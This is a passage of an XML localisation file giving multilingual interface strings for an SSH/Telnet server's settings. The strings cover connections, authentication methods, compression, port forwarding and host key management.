<en-gb>Full (monochrome)</en-gb>
<hu>Teljes (monokróm)</hu>
<pt-br>Total (monocromático)</pt-br>
<nl>Volledig (monochroom)</nl>
</msg>
<msg name="COLOR">
<en>Full (ANSI colors)</en>
<de>Voll ( ANSI Farben)</de>
<es>Total (colores ANSI)</es>
<fr>Plein (couleurs ANSI)</fr>
<it>Intero (colori ANSI)</it>
<ru>Полный (цвета ANSI)</ru>
<ja>全画面 (ANSI カラー)</ja>
<zh>全(ANSI 颜色)</zh>
<ko>전체(ANSI 색)</ko>
<en-gb>Full (ANSI colours)</en-gb>
<hu>Teljes (ANSI színek)</hu>
<pt-br>Total (cores ANSI)</pt-br>
<nl>Volledig (ANSI-kleuren)</nl>
</msg>
<msg name="ASKPARAMS">
<en>Ask console parameters</en>
<de>Console-Parameter abfragen</de>
<es>Pedir parámetros de consola</es>
<fr>Demander les paramètres de la console</fr>
<it>Richiedi parametri console</it>
<ru>Спрашивать параметры консоли</ru>
<ja>コンソール パラメータを要求</ja>
<zh>要求控制台参数</zh>
<ko>콘솔 매개 변수 요청</ko>
<en-gb>Ask console parameters</en-gb>
<hu>Konzol-paraméterek bekérése</hu>
<pt-br>Solicitar parâmetros do console</pt-br>
<nl>Consoleparameters opvragen</nl>
</msg>
<msg name="UPDATED">
<en>updated</en>
<de>aktualisiert</de>
<es>actualizado</es>
<fr>mise à jour</fr>
<it>aggiornato</it>
<ru>обновленный</ru>
<ja>更新済み</ja>
<zh>已更新</zh>
<ko>업데이트됨</ko>
<en-gb>updated</en-gb>
<hu>frissítve</hu>
<pt-br>atualizado</pt-br>
<nl>bijgewerkt</nl>
</msg>
<msg name="CONNECTIONS">
<en>Telnet/SSH Connections</en>
<de>Telnet/SSH Verbindungen</de>
<es>Conexiones Telnet/SSH</es>
<fr>Connexions Telnet/SSH</fr>
<it>Connessioni Telnet/SSH</it>
<ru>Telnet/SSH-подключения</ru>
<ja>Telnet/SSH 接続</ja>
<zh>Telnet/SSH 连接</zh>
<ko>텔넷/SSH 연결</ko>
<en-gb>Telnet/SSH Connections</en-gb>
<hu>Telnet / SSH kapcsolatok</hu>
<pt-br>Conexões do Telnet/SSH</pt-br>
<nl>Telnet/SSH-verbindingen</nl>
</msg>
<msg name="NOCONNECTIONS">
<en>There are no connections.</en>
<de>Es gibt keine Verbindungen</de>
<es>No existen conexiones.</es>
<fr>Il n'y a pas de connexion.</fr>
<it>Nessuna connessione disponibile.</it>
<ru>Подключений нет.</ru>
<ja>接続がありません。</ja>
<zh>无连接。</zh>
<ko>연결되지 않았습니다.</ko>
<en-gb>There are no connections.</en-gb>
<hu>Nincsenek kapcsolatok.</hu>
<pt-br>Não há conexões.</pt-br>
<nl>Er zijn op dit ogenblik geen verbindingen.</nl>
</msg>
<msg name="SSHCHANNELS">
<en>SSH channels</en>
<de>SSH Kanäle</de>
<es>Canales SSH</es>
<fr>Canal SSH</fr>
<it>Canali SSH</it>
<ru>SSH-каналы</ru>
<ja>SSH チャネル</ja>
<zh>SSH 通道</zh>
<ko>SSH 채널</ko>
<en-gb>SSH channels</en-gb>
<hu>SSH csatornák</hu>
<pt-br>Canais SSH</pt-br>
<nl>SSH-kanalen</nl>
</msg>
<msg name="USER">
<en>User name</en>
<de>Benutzername</de>
<es>Nombre de usuario</es>
<fr>Nom utilisateur</fr>
<it>Nome utente</it>
<ru>Имя пользователя</ru>
<ja>ユーザ名</ja>
<zh>用户名</zh>
<ko>사용자 이름</ko>
<en-gb>Username</en-gb>
<hu>Felhasználói név</hu>
<pt-br>Nome do usuário</pt-br>
<nl>Gebruikersnaam</nl>
</msg>
<msg name="IP">
<en>IP address</en>
<de>IP-Adresse</de>
<es>Dirección IP</es>
<fr>Adresse IP</fr>
<it>Indirizzo IP</it>
<ru>IP-адрес</ru>
<ja>IP アドレス</ja>
<zh>IP 地址</zh>
<ko>IP 주소</ko>
<en-gb>IP address</en-gb>
<hu>IP cím</hu>
<pt-br>Endereço IP</pt-br>
<nl>IP-adres</nl>
</msg>
<msg name="START">
<en>Started</en>
<de>Gestartet</de>
<es>Iniciado</es>
<fr>Démarré</fr>
<it>Avviato</it>
<ru>Запущен</ru>
<ja>開始</ja>
<zh>已启动</zh>
<ko>시작됨</ko>
<en-gb>Started</en-gb>
<hu>Elindítva</hu>
<pt-br>Iniciado</pt-br>
<nl>Gestart</nl>
</msg>
<msg name="PROTO">
<en>Protocol</en>
<de>Protokoll</de>
<es>Protocolo</es>
<fr>Protocole</fr>
<it>Protocollo</it>
<ru>Протокол</ru>
<ja>プロトコル</ja>
<zh>协议</zh>
<ko>프로토콜</ko>
<en-gb>Protocol</en-gb>
<hu>Protokoll</hu>
<pt-br>Protocolo</pt-br>
<nl>Protocol</nl>
</msg>
<msg name="EMULATION">
<en>Emulation</en>
<de>Emulation</de>
<es>Emulación</es>
<fr>Emulation</fr>
<it>Emulazione</it>
<ru>Эмуляция</ru>
<ja>エミュレーション</ja>
<zh>仿真</zh>
<ko>에뮬레이션</ko>
<en-gb>Emulation</en-gb>
<hu>Emulálás</hu>
<pt-br>Emulação</pt-br>
<nl>Emulatie</nl>
</msg>
<msg name="SIZE">
<en>Console size</en>
<de>Größe der Console</de>
<es>Tamaño de la consola</es>
<fr>Dimension de al console</fr>
<it>Dimensione console</it>
<ru>Размер консоли</ru>
<ja>コンソール サイズ</ja>
<zh>控制台大小</zh>
<ko>콘솔 크기</ko>
<en-gb>Console size</en-gb>
<hu>Konzolméret</hu>
<pt-br>Tamanho do console</pt-br>
<nl>Consolegrootte</nl>
</msg>
<msg name="EXPIRE">
<en>Recovery expires</en>
<de>Wiederherstellung läuft ab</de>
<es>Recuperación caduca</es>
<fr>La récupération expire</fr>
<it>Scadenza ripristino</it>
<ru>Срок действия восстановления истекает</ru>
<ja>復旧の期限切れ</ja>
<zh>恢复终止</zh>
<ko>복구 만료</ko>
<en-gb>Recovery expires</en-gb>
<hu>Visszaállítás lejárta</hu>
<pt-br>Recuperação expira</pt-br>
<nl>Herstel verstrijkt om</nl>
</msg>
<msg name="KICK">
<en>Disconnect</en>
<de>Schließen</de>
<es>Desconectar</es>
<fr>Refouler</fr>
<it>Disconnetti</it>
<ru>Отключить</ru>
<ja>切断</ja>
<zh>断开连接</zh>
<ko>연결 해제</ko>
<en-gb>Disconnect</en-gb>
<hu>Kapcsolat megszakítása</hu>
<pt-br>Desconectar</pt-br>
<nl>Verbinding verbreken</nl>
</msg>
<msg name="KILL">
<en>Kill</en>
<de>Kill</de>
<es>Finalizar</es>
<fr>Tuer</fr>
<it>Termina</it>
<ru>Завершить</ru>
<ja>終了</ja>
<zh>取消</zh>
<ko>종료</ko>
<en-gb>Kill</en-gb>
<hu>Törlés</hu>
<pt-br>Anular</pt-br>
<nl>Beëindigen</nl>
</msg>
</cat>
<!-- CONFIG.SSH -->
<cat name="SSH">
<msg name="TITLE">
<en>SSH Server</en>
<de>SSH Server</de>
<es>Servidor SSH</es>
<fr>Serveur SSH</fr>
<it>Server SSH</it>
<ru>SSH-сервер</ru>
<ja>SSH サーバー</ja>
<zh>SSH 服务器</zh>
<ko>SSH 서버</ko>
<en-gb>SSH Server</en-gb>
<hu>SSH kiszolgáló</hu>
<pt-br>Servidor SSH</pt-br>
<nl>SSH-server</nl>
</msg>
<msg name="FEATURES">
<en>Features Enabled</en>
<de>Funktionen aktivieren</de>
<es>Funciones habilitadas</es>
<fr>Fonctions Activées</fr>
<it>Funzioni attivate</it>
<ru>Включенные функции</ru>
<ja>有効な機能</ja>
<zh>已启用功能</zh>
<ko>기능 사용 가능</ko>
<en-gb>Features Enabled</en-gb>
<hu>Funkciók bekapcsolva</hu>
<pt-br>Recursos habilitados</pt-br>
<nl>Ingeschakelde functies</nl>
</msg>
<msg name="FEATURES.NOTE">
<en>At least one of the above authentication methods must be enabled. Note: SSH Protocol
v1 only supports password authentication.</en>
<de>Sie müssen eine der Authentifizierungsmethoden aktivieren. SSH1 beherrscht nur
Kennwort-Authentifizierung.</de>
<es>Debe habilitarse al menos uno de los métodos de autenticación anteriores. Nota: El protocolo SSH
v1 sólo soporta autenticación mediante contraseña.</es>
<fr>Au moins une des méthodes d'authentification ci-dessus doit être activée. A noteer : le protocole SSH v1
supporte seulement l'authentification par mot de passe.</fr>
<it>È necessario che almeno uno dei metodi di autenticazione precedenti sia attivato. Nota: il protocollo SSH versione 1 supporta solo l'autenticazione mediante password.</it>
<ru>Должен быть включен хотя бы один из вышеупомянутых способов проверки подлинности. Примечание: протокол SSH версии 1 поддерживает только проверку пароля.</ru>
<ja>上記の認証のうち最低 1 つは有効にする必要があります。ノート :SSH Protocol v1 はパスワード認証のみサポートします。</ja>
<zh>至少必须启用以上验证方法之一。注意:SSH 协议 v1 仅支持密码验证。</zh>
<ko>위의 인증 방법 중 하나 이상이 사용 가능해야 합니다. 참고: SSH Protocol v1만이 암호 인증을 지원합니다</ko>
<en-gb>At least one of the above authentication methods must be enabled. Note: SSH Protocol v1 only supports password authentication.</en-gb>
<hu>A fenti hitelesítési módszereknek legalább egyikét be kell kapcsolni. Megjegyzés: SSH Protokoll
A v1 csak jelszavas hitelesítést támogat</hu>
<pt-br>Pelo menos um dos métodos de autenticação acima deve estar habilitado. Observação: Protocolo SSH
A v1 suporta apenas autenticação com senha.</pt-br>
<nl>Minstens één van de bovenstaande verificatiemethoden moet zijn ingeschakeld. Opmerking: Het SSH-protocol v1 biedt alleen ondersteuning voor wachtwoordverificatie.</nl>
</msg>
<msg name="SSH1">
<en>SSH Protocol v1</en>
<de>SSH Protokoll v1</de>
<es>Protocolo SSH v1</es>
<fr>Protocole SSH v1</fr>
<it>Protocollo SSH versione 1</it>
<ru>Протокол SSH версии 1</ru>
<ja>SSH Protocol v1</ja>
<zh>SSH 协议 v1</zh>
<ko>SSH Protocol v1</ko>
<en-gb>SSH Protocol v1</en-gb>
<hu>SSH Protokoll v1</hu>
<pt-br>Protocolo SSH da v1</pt-br>
<nl>SSH-protocol v1</nl>
</msg>
<msg name="SSH2">
<en>SSH Protocol v2</en>
<de>SSH Protokoll v2</de>
<es>Protocolo SSH v2</es>
<fr>Protocole SSH v2</fr>
<it>Protocollo SSH versione 2</it>
<ru>Протокол SSH версии 2</ru>
<ja>SSH Protocol v2</ja>
<zh>SSH 协议 v2</zh>
<ko>SSH Protocol v2</ko>
<en-gb>SSH Protocol v2</en-gb>
<hu>SSH Protokoll v2</hu>
<pt-br>Protocolo SSH da v2</pt-br>
<nl>SSH-protocol v2</nl>
</msg>
<msg name="SFTP">
<en>SFTP server (SSH2 only)</en>
<de>SFTP Server (nur SSH2)</de>
<es>Servidor SFTP (sólo SSH2)</es>
<fr>Serveur SFTP (SSH2 seulement)</fr>
<it>Server SFTP (solo SSH2)</it>
<ru>SFTP-сервер (только SSH2)</ru>
<ja>SFTP サーバー (SSH2 のみ)</ja>
<zh>SFTP 服务器(仅适用于 SSH2)</zh>
<ko>SFTP 서버(SSH2 전용)</ko>
<en-gb>SFTP server (SSH2 only)</en-gb>
<hu>SFTP kiszolgáló (csak SSH2)</hu>
<pt-br>Servidor SFTP (somente SSH2)</pt-br>
<nl>SFTP-server (alleen SSH2)</nl>
</msg>
<msg name="SCP">
<en>SCP server</en>
<de>SCP Server</de>
<es>Servidor SCP</es>
<fr>Serveur SCP</fr>
<it>Server SCP</it>
<ru>SCP-сервер</ru>
<ja>SCP サーバー</ja>
<zh>SCP 服务器</zh>
<ko>SCP 서버</ko>
<en-gb>SCP server</en-gb>
<hu>SCP kiszolgáló</hu>
<pt-br>Servidor SCP</pt-br>
<nl>SCP-server</nl>
</msg>
<msg name="COMPRESSION">
<en>Compression</en>
<de>Kompression</de>
<es>Compresión</es>
<fr>Compression</fr>
<it>Compressione</it>
<ru>Сжатие</ru>
<ja>圧縮</ja>
<zh>压缩</zh>
<ko>압축</ko>
<en-gb>Compression</en-gb>
<hu>Tömörítés</hu>
<pt-br>Compactação</pt-br>
<nl>Compressie</nl>
</msg>
<msg name="COMPRESSION.NO">
<en>Disabled.</en>
<de>Deaktiviert.</de>
<es>Deshabilitado.</es>
<fr>Désactivé</fr>
<it>Disattivata.</it>
<ru>Отключено.</ru>
<ja>無効です。</ja>
<zh>已禁用。</zh>
<ko>사용 안 함.</ko>
<en-gb>Disabled.</en-gb>
<hu>Kikapcsolva.</hu>
<pt-br>Desabilitado.</pt-br>
<nl>Uitgeschakeld.</nl>
</msg>
<msg name="COMPRESSION.DELAYED">
<en>Delayed</en>
<de>Verspätet</de>
<es>Retrasado</es>
<it>Rimandata</it>
<ru>Задержано</ru>
<ja>遅延</ja>
<zh>已延迟</zh>
<ko>지연됨</ko>
<en-gb>Delayed</en-gb>
<hu>Késleltetett</hu>
<pt-br>Atrasado</pt-br>
<nl>Vertraagd</nl>
</msg>
<msg name="COMPRESSION.YES">
<en>Enabled.</en>
<de>Aktiviert.</de>
<es>Habilitado.</es>
<fr>Activé</fr>
<it>Attivata.</it>
<ru>Включено.</ru>
<ja>有効です。</ja>
<zh>已启用。</zh>
<ko>사용.</ko>
<en-gb>Enabled.</en-gb>
<hu>Bekapcsolva.</hu>
<pt-br>Habilitado.</pt-br>
<nl>Ingeschakeld.</nl>
</msg>
<msg name="AUTHPWD">
<en>Password authentication</en>
<de>Kennwort-Authentifizierung</de>
<es>Autenticación mediante contraseña</es>
<fr>Authentification par mot de passe</fr>
<it>Autenticazione mediante password</it>
<ru>Проверка пароля</ru>
<ja>パスワード認証</ja>
<zh>密码验证</zh>
<ko>암호 인증</ko>
<en-gb>Password authentication</en-gb>
<hu>Jelszavas hitelesítés</hu>
<pt-br>Autenticação de senha</pt-br>
<nl>Wachtwoordverificatie</nl>
</msg>
<msg name="AUTHKBDINT">
<en>Keyboard-interactive authentication</en>
<de>Keyboard-interaktive Authentifizierung</de>
<es>Autenticación interactiva con teclado</es>
<fr>Authentification par Clavier-Interactif</fr>
<it>Autenticazione interattiva da tastiera</it>
<ru>Проверка подлинности на основе интерактивного взаимодействия с клавиатурой</ru>
<ja>キーボード インタラクティブ認証</ja>
<zh>键盘交互式验证</zh>
<ko>키보드 입력식 인증</ko>
<en-gb>Keyboard-interactive authentication</en-gb>
<hu>Billentyűzetes interaktív hitelesítés</hu>
<pt-br>Autenticação interativa com o teclado</pt-br>
<nl>Interactieve verificatie via toetsenbord</nl>
</msg>
<msg name="AUTHPUBKEY">
<en>Public key authentication</en>
<de>Public Schlüssel Authentification</de>
<es>Autenticación de clave pública</es>
<fr>Authentification par clé publique</fr>
<it>Autenticazione a chiave pubblica</it>
<ru>Проверка подлинности на основе открытого ключа</ru>
<ja>公開鍵認証</ja>
<zh>公钥验证</zh>
<ko>공용 키 인증</ko>
<en-gb>Public key authentication</en-gb>
<hu>Nyilvános kulcsos hitelesítés</hu>
<pt-br>Autenticação da chave pública</pt-br>
<nl>Verificatie via openbare sleutel</nl>
</msg>
<msg name="MANAGEPUBKEY">
<en>Manage keys</en>
<de>Publik Schlüssel bearbeiten</de>
<es>Gestionar claves</es>
<fr>Editez les clés</fr>
<it>Gestisci chiavi</it>
<ru>Управлять ключами</ru>
<ja>鍵の管理</ja>
<zh>管理密钥</zh>
<ko>키 관리</ko>
<en-gb>Manage keys</en-gb>
<hu>Kulcsok kezelése</hu>
<pt-br>Gerenciar chaves</pt-br>
<nl>Sleutels beheren</nl>
</msg>
<msg name="MAPNETWORKDRIVES">
<en>Map network drives</en>
<de>Map-Netzwerk Drives</de>
<es>Mapear unidades de red</es>
<it>Mappa unità di rete</it>
<ru>Подключить сетевые диски</ru>
<ja>ネットワーク ドライブのマッピング</ja>
<zh>映射网络驱动器</zh>
<ko>네트워크 드라이브 매핑</ko>
<en-gb>Map network drives</en-gb>
<hu>Hálózati meghajtók csatlakoztatása</hu>
<pt-br>Mapear unidades de rede</pt-br>
<nl>Netwerkstations toewijzen</nl>
</msg>
<msg name="VERIFYREVERSEMAPPING">
<en>Cross check IP and DNS entry of clients</en>
<de>Gegenprüfung der IP-Adresse und des DNS-Eintrags der Clients</de>
<es>Comprobación cruzada de entrada DNS e IP de clientes</es>
<fr>Contrôle croisé de l'adresse IP et de l'entrée DNS des clients</fr>
<it>Controllo incrociato voci IP e DNS dei client</it>
<ru>Перекрестная проверка IP- и DNS-записей клиентов</ru>
<ja>クライアントの IP および DNS 入力をクロス チェックする</ja>
<zh>交叉检查客户端的 IP 和 DNS 条目</zh>
<ko>클라이언트의 IP 및 DNS 항목 교차 확인</ko>
<en-gb>Crosscheck IP and DNS entry of clients</en-gb>
<hu>Kliensek IP és DNS bejegyzéseinek kereszt-ellenőrzése</hu>
<pt-br>Fazer verificações cruzadas das entradas de IP e DNS dos clientes</pt-br>
<nl>IP-adres en DNS-vermelding van clients kruiselings controleren</nl>
</msg>
<msg name="PORTFORWARD">
<en>Forwarding of server-side ports</en>
<de>Weiterreichen der serverseitigen Ports</de>
<es>Reenvío de puertos del lado del servidor</es>
<fr>Transmission des ports du côté serveur</fr>
<it>Inoltro porte lato server</it>
<ru>Перенаправление портов на стороне сервера</ru>
<ja>サーバー側ポートの転送</ja>
<zh>正在转发服务器端端口</zh>
<ko>서버측 포트 전달</ko>
<en-gb>Forwarding of server-side ports</en-gb>
<hu>Kiszolgáló-oldali portok átirányítása</hu>
<pt-br>Encaminhamento das portas do lado do servidor</pt-br>
<nl>Toewijzen van poorten aan serverzijde</nl>
</msg>
<msg name="PORTFORWARD.NO">
<en>Disabled</en>
<es>Deshabilitado</es>
<de>Deaktiviert</de>
<fr>Désactivé</fr>
<it>Disattivato</it>
<ru>Отключено</ru>
<ja>無効</ja>
<zh>禁用</zh>
<ko>사용 안 함</ko>
<en-gb>Disabled</en-gb>
<hu>Letiltva</hu>
<pt-br>Desabilitado</pt-br>
<nl>Uitgeschakeld</nl>
</msg>
<msg name="PORTFORWARD.RESTRICTED">
<en>Restricted</en>
<es>Restringido</es>
<de>Mit Einschränkungen</de>
<fr>Limité</fr>
<it>Con limitazioni</it>
<ru>Ограничено</ru>
<ja>制限</ja>
<zh>限制</zh>
<ko>제한됨</ko>
<en-gb>Restricted</en-gb>
<hu>Korlátozott</hu>
<pt-br>Restrito</pt-br>
<nl>Met beperkingen</nl>
</msg>
<msg name="PORTFORWARD.YES">
<en>Enabled</en>
<es>Habilitado</es>
<de>Aktiviert</de>
<fr>Activé</fr>
<it>Attivato</it>
<ru>Включено</ru>
<ja>有効</ja>
<zh>Enabled(启用)</zh>
<ko>사용</ko>
<en-gb>Enabled</en-gb>
<hu>Engedélyezve</hu>
<pt-br>Habilitado</pt-br>
<nl>Ingeschakeld</nl>
</msg>
<msg name="GATEWAYPORTS">
<en>Remote connects to forwarded ports</en>
<de>Fernverbindungen zu weitergereichten Ports</de>
<es>Conexiones remotas a puertos reenviados</es>
<fr>Connexion distante sur les ports transmis</fr>
<it>Connessioni remote alle porte inoltrate</it>
<ru>Удаленные подключения к перенаправленным портам</ru>
<ja>転送ポートにリモート接続する</ja>
<zh>远程连接至已转发的端口</zh>
<ko>전달된 포트로 원격 연결</ko>
<en-gb>Remote connects to forwarded ports</en-gb>
<hu>Távoli kapcsolatok az átirányított portokhoz</hu>
<pt-br>Conexão remota com portas encaminhadas</pt-br>
<nl>Externe computer maakt verbinding met toegewezen poorten</nl>
</msg>
<msg name="SSH1SERVERKEY">
<en>SSH1 Server Key</en>
<de>SSH1 Server Schlüssel</de>
<es>Clave del servidor SSH1</es>
<fr>Clé Serveur SSH1</fr>
<it>Chiave server SSH1</it>
<ru>Ключ SSH1-сервера</ru>
<ja>SSH1 サーバー鍵</ja>
<zh>SSH1 服务器密钥</zh>
<ko>SSH1 서버 키</ko>
<en-gb>SSH1 Server Key</en-gb>
<hu>SSH1 kiszolgáló kulcs</hu>
<pt-br>Chave do servidor SSH1</pt-br>
<nl>Sleutel voor SSH1-server</nl>
</msg>
<msg name="SSH1SERVERKEYSIZE">
<en>Size (in bits)</en>
<de>Größe (in bits)</de>
<es>Tamaño (en bits)</es>
<fr>Taille (en bits)</fr>
<it>Dimensione (in bit)</it>
<ru>Размер (в битах)</ru>
<ja>サイズ (ビット)</ja>
<zh>大小(以位为单位)</zh>
<ko>크기(비트)</ko>
<en-gb>Size (in bits)</en-gb>
<hu>Méret (bitekben)</hu>
<pt-br>Tamanho (em bits)</pt-br>
<nl>Grootte (in bits)</nl>
</msg>
<msg name="SSH1SERVERKEYTIME">
<en>Lifetime</en>
<de>Lebenszeit</de>
<es>Vida útil</es>
<fr>Durée</fr>
<it>Durata</it>
<ru>Время жизни</ru>
<ja>寿命</ja>
<zh>有效期</zh>
<ko>수명</ko>
<en-gb>Lifetime</en-gb>
<hu>Élettartam</hu>
<pt-br>Tempo de duração</pt-br>
<nl>Levensduur</nl>
</msg>
<msg name="UPDATED">
<en>updated</en>
<de>aktualisiert</de>
<es>actualizado</es>
<fr>mise à jour</fr>
<it>aggiornata</it>
<ru>обновленный</ru>
<ja>更新済み</ja>
<zh>已更新</zh>
<ko>업데이트됨</ko>
<en-gb>updated</en-gb>
<hu>frissítve</hu>
<pt-br>atualizado</pt-br>
<nl>bijgewerkt</nl>
</msg>
<msg name="HOSTKEYS">
<en>Host Keys</en>
<de>Host Schlüssel</de>
<es>Claves del host</es>
<fr>Clé de l'Hôte</fr>
<it>Chiavi host</it>
<ru>Ключи хост-компьютера</ru>
<ja>ホスト鍵</ja>
<zh>主机密钥</zh>
<ko>호스트 키</ko>
<en-gb>Host Keys</en-gb>
<hu>Gazdagép-kulcsok</hu>
<pt-br>Chaves do host</pt-br>
<nl>Sleutels voor hostcomputer</nl>
</msg>
<msg name="HKNEW">
<en>Generate new</en>
<de>Neu erstellen</de>
<es>Generar nueva</es>
<fr>En générer une nouvelle</fr>
<it>Genera nuova</it>
<ru>Сгенерировать новый</ru>
<ja>新規に生成</ja>
<zh>新建</zh>
<ko>새 키 생성</ko>
<en-gb>Generate new</en-gb>
<hu>Új készítése</hu>
<pt-br>Gerar nova</pt-br>
<nl>Nieuwe sleutels genereren</nl>
</msg>
<msg name="HKSSH1">
<en>SSH1 host key size</en>
<de>SSH1 Host Schlüssel Größe</de>
<es>Tamaño de la clave del host SSH1</es>
<fr>Taille de la clé SSH1de l'hôte</fr>
<it>Dimensione chiave host SSH1</it>
<ru>Размер ключа хост-компьютера SSH1</ru>
<ja>SSH1 ホスト鍵のサイズ</ja>
<zh>SSH1 主机密钥大小</zh>
<ko>SSH1 호스트 키 크기</ko>
<en-gb>SSH1 host key size</en-gb>
<hu>SSH1 gazdagép-kulcs mérete</hu>
<pt-br>Tamanho da chave de host do SSH1</pt-br>
<nl>Grootte van SSH1-sleutel voor hostcomputer</nl>
</msg>
<msg name="HKSSH1OK">
<en>Current SSH1 host key is valid.</en>
<de>Aktueller SSH1 Host Schlüssel ist gültig.</de>
<es>La actual clave del host SSH1 es válida.</es>
<fr>La clé SSH1 courante de l'hôte est valide.</fr>
<it>La chiave host SSH1 corrente è valida.</it>
<ru>Текущий ключ хост-компьютера SSH1 является допустимым.</ru>
<ja>現在の SSH1 ホスト鍵は有効です。</ja>
<zh>当前 SSH1 主机密钥有效。</zh>
<ko>현재 SSH1 호스트 키가 올바릅니다.</ko>
<en-gb>Current SSH1 host key is valid.</en-gb>
<hu>Az aktuális SSH1 gazdagép-kulcs érvényes.</hu>
<pt-br>A chave de host do SSH1 atual é válida.</pt-br>
<nl>De huidige SSH1-sleutel voor de hostcomputer is geldig.</nl>
</msg>
<msg name="HKSSH1FAIL">
<en>Current SSH1 host key is invalid!</en>
<de>Aktueller SSH1 Host Schlüssel ist ungültig!</de>
<es>La actual clave del host SSH1 no es válida.</es>
<fr>La clé SSH1 courante de l'hôte est invalide.</fr>
<it>La chiave host SSH1 corrente non è valida.</it>
<ru>Текущий ключ хост-компьютера SSH1 не является допустимым!</ru>
<ja>現在の SSH1 ホスト鍵は無効です。</ja>
<zh>当前 SSH1 主机密钥无效!</zh>
<ko>현재 SSH1 호스트 키가 올바르지 않습니다!</ko>
<en-gb>Current SSH1 host key is invalid!</en-gb>
<hu>Az aktuális SSH1 gazdagép-kulcs nem érvényes!</hu>
<pt-br>A chave de host do SSH1 atual é inválida!</pt-br>
<nl>De huidige SSH1-sleutel voor de hostcomputer is ongeldig!</nl>
</msg>
<msg name="HKSSH2RSA">
<en>SSH2 RSA host key size</en>
<de>SSH2 RSA Host Schlüssel Größe</de>
<es>Tamaño de la clave del host SSH2 RSA</es>
<fr>Taille de la clé SSH2 RSA de l'hôte</fr>
<it>Dimensione chiave host RSA SSH2</it>
<ru>Размер ключа хост-компьютера SSH2 RSA</ru>
<ja>SSH2 RSA ホスト鍵のサイズ</ja>
<zh>SSH2 RSA 主机密钥大小</zh>
<ko>SSH2 RSA 호스트 키 크기</ko>
<en-gb>SSH2 RSA host key size</en-gb>
<hu>SSH2 RSA gazdagép-kulcs mérete</hu>
<pt-br>Tamanho da chave de host do SSH2 RSA</pt-br>
<nl>Grootte van SSH2 RSA-sleutel voor hostcomputer</nl>
</msg>
<msg name="HKSSH2RSAOK">
<en>Current SSH2 RSA host key is valid.</en>
<de>Aktueller SSH2 RSA Host Schlüssel ist gültig:</de>
<es>La actual clave del host SSH2 RSA es válida.</es>
<fr>La clé SSH2 RSA courante de l'hôte est valide.</fr>
<it>La chiave host RSA SSH2 corrente è valida.</it>
<ru>Текущий ключ хост-компьютера SSH2 RSA является допустимым.</ru>
<ja>現在の SSH2 RSA ホスト鍵は有効です。</ja>
<zh>当前 SSH2 RSA 主机密钥有效。</zh>
<ko>현재 SSH2 RSA 호스트 키가 올바릅니다.</ko>
<en-gb>Current SSH2 RSA host key is valid.</en-gb>
<hu>Az aktuális SSH2 RSA gazdagép-kulcs érvényes.</hu>
<pt-br>A chave de host do SSH2 RSA atual é válida.</pt-br>
<nl>De huidige SSH2 RSA-sleutel voor de hostcomputer is geldig.</nl>
</msg>
<msg name="HKSSH2RSAFAIL">
<en>Current SSH2 RSA host key is invalid!</en>
<de>Aktueller SSH2 RSA Host Schlüssel ist ungültig!</de>
<es>La actual clave del host SSH2 RSA no es válida.</es>
<fr>La clé SSH2 RSA courante de l'hôte est invalide.</fr>
<it>La chiave host RSA SSH2 corrente non è valida.</it>
<ru>Текущий ключ хост-компьютера SSH2 RSA не является допустимым.</ru>
<ja>現在の SSH2 RSA ホスト鍵は無効です。</ja>
<zh>当前 SSH2 RSA 主机密钥无效!</zh>
<ko>현재 SSH2 RSA 호스트 키가 올바르지 않습니다!</ko>
<en-gb>Current SSH2 RSA host key is invalid!</en-gb>
<hu>Az aktuális SSH2 RSA gazdagép-kulcs nem érvényes!</hu>
<pt-br>A chave de host do SSH2 RSA atual é inválida!</pt-br>
<nl>De huidige SSH2 RSA-sleutel voor de hostcomputer is ongeldig!</nl>
</msg>
<msg name="HKSSH2DSA">
<en>SSH2 DSA host key size</en>
<de>SSH2 DSA Host Schlüssel Größe</de>
<es>Tamaño de la clave del host SSH2 DSA</es>
<fr>Taille de la clé SSH2 RSA de l'hôte</fr>
<it>Dimensione chiave host DSA SSH2</it>
<ru>Размер ключа хост-компьютера SSH2 DSA</ru>
<ja>SSH2 DSA ホスト鍵のサイズ</ja>
<zh>SSH2 DSA 主机密钥大小</zh>
<ko>SSH2 DSA 호스트 키 크기</ko>
<en-gb>SSH2 DSA host key size</en-gb>
<hu>SSH2 DSA gazdagép-kulcs mérete</hu>
<pt-br>Tamanho da chave de host do SSH2 DSA</pt-br>
<nl>Grootte van SSH2 DSA-sleutel voor hostcomputer</nl>
</msg>
<msg name="HKSSH2DSAOK">
<en>Current SSH2 DSA host key is valid.</en>
<de>Aktueller SSH2 DSA Host Schlüssel ist gültig.</de>
<es>La actual clave del host SSH2 DSA es válida.</es>
<fr>La clé SSH2 RSA courante de l'hôte est valide.</fr>
<it>La chiave host DSA SSH2 corrente è valida.</it>
<ru>Текущий ключ хост-компьютера SSH2 DSA является допустимым.</ru>
<ja>現在の SSH2 DSA ホスト鍵は有効です。</ja>
<zh>当前 SSH2 DSA 主机密钥有效。</zh>
<ko>현재 SSH2 DSA 호스트 키가 올바릅니다.</ko>
<en-gb>Current SSH2 DSA host key is valid.</en-gb>
<hu>Az aktuális SSH2 DSA gazdagép-kulcs érvényes.</hu>
<pt-br>A chave de host do SSH2 DSA atual é válida.</pt-br>
<nl>De huidige SSH2 DSA-sleutel voor de hostcomputer is geldig.</nl>
</msg>
<msg name="HKSSH2DSAFAIL">
<en>Current SSH2 DSA host key is invalid!</en>
<de>Aktueller SSH2 DSA Host Schlüssel ist ungültig!</de>
<es>La clave actual del host SSH2 DSA no es válida.</es>
<fr>La clé SSH2 RSA courante de l'hôte est invalide.</fr>
<it>La chiave host DSA SSH2 corrente non è valida.</it>
<ru>Текущий ключ хост-компьютера SSH2 DSA не является допустимым!</ru>
<ja>現在の SSH2 DSA ホスト鍵は無効です。</ja>
<zh>当前 SSH2 DSA 主机密钥无效!</zh>
<ko>현재 SSH2 DSA 호스트 키가 올바르지 않습니다!</ko>
<en-gb>Current SSH2 DSA host key is invalid!</en-gb>
<hu>Az aktuális SSH2 DSA gazdagép-kulcs nem érvényes!</hu>
<pt-br>A chave de host do SSH2 DSA atual é inválida!</pt-br>
<nl>De huidige SSH2 DSA-sleutel voor de hostcomputer is ongeldig!</nl>
</msg>
<msg name="GENHKOK">
<en>New host key generated</en>
<de>Neuen Host Schlüssel wurde generiert</de>
<es>Se ha generado una nueva clave de host</es>
<fr>Nouvelle clé d'hôte générée</fr>
<it>Nuova chiave host generata</it>
<ru>Сгенерирован новый ключ хост-компьютера</ru>
<ja>新しいホスト鍵が作成されました。</ja>
<zh>已生成新主机密钥</zh>
<ko>새 호스트 키 생성</ko>
<en-gb>New host key generated</en-gb>
